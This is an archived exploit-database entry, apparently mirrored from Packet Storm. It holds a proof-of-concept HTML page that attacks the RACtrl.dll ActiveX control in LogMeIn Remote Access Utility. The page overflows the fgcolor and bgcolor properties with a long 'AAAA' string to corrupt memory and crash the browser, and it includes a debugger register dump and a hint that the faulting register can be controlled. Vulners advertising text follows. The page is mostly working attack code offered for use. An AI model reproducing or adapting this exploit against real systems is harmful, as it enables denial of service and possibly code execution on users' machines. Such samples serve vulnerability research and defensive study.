Lucene search
K

logmein-activex.txt

🗓️ 29 Aug 2008 00:00:00Reported by Yag KohhaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC (DoS) in RACtrl.dl

Code
`<html>  
<body>  
<pre>  
  
LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC (DoS)  
Software vendor URL: http://www.logmein.com  
Vulnerability at: RACtrl.dll (propset for: fgcolor, bgcolor, fmcolor)  
Author: Yag Kohha (skyhole [at] gmail.com)  
  
eax=024521b8 ebx=00000002 ecx=020e9f54 edx=00000011 esi=00000000 edi=00000000  
eip=01fb537f esp=0013e160 ebp=0013e1e8 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206  
RACtrl+0x3537f:  
01fb537f 0fb706 movzx eax,word ptr [esi] ds:0023:00000000=????  
---->>> Wanna change [esi]? Try to play with colors ;D  
  
Greetz to:  
str0ke & milw0rm  
shinnai  
offtopic  
kais  
  
</pre>  
  
<object classid='clsid:FD0B6769-6490-4A91-AA0A-B5AE0DC75AC9' id='obj1'></object>  
<script language='javascript'>  
var buf = '';  
while (buf.length < 512) buf = buf + 'AAAA';  
obj1.fgcolor = buf;  
obj1.bgcolor = obj1.fgcolor;  
</script>  
</body>  
</html>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation